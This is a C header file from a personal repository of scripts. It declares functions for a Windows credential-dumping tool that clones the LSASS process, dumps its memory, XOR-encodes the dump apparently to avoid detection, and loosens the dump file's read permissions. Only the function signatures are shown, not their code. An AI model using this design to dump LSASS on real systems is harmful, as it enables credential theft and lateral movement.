etc.git


etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
log | files | refs | archive

dump.h (399B)

      1 #pragma once
      2 
      3 #pragma once
      4 #include <Windows.h>
      5 
      6 // Clone LSASS and return handle to the clone
      7 HANDLE CloneProcess(void);
      8 
      9 // Utility to retrieve PID from a process handle
     10 DWORD GetProcessIdFromHandle(HANDLE hProcess);
     11 
     12 // Dump LSASS
     13 BOOL DmpAndXor(const char* outPath, const char* key, size_t key_len);
     14 
     15 // Set read access to dump
     16 BOOL SetFileGenericReadAccess(const char* filePath);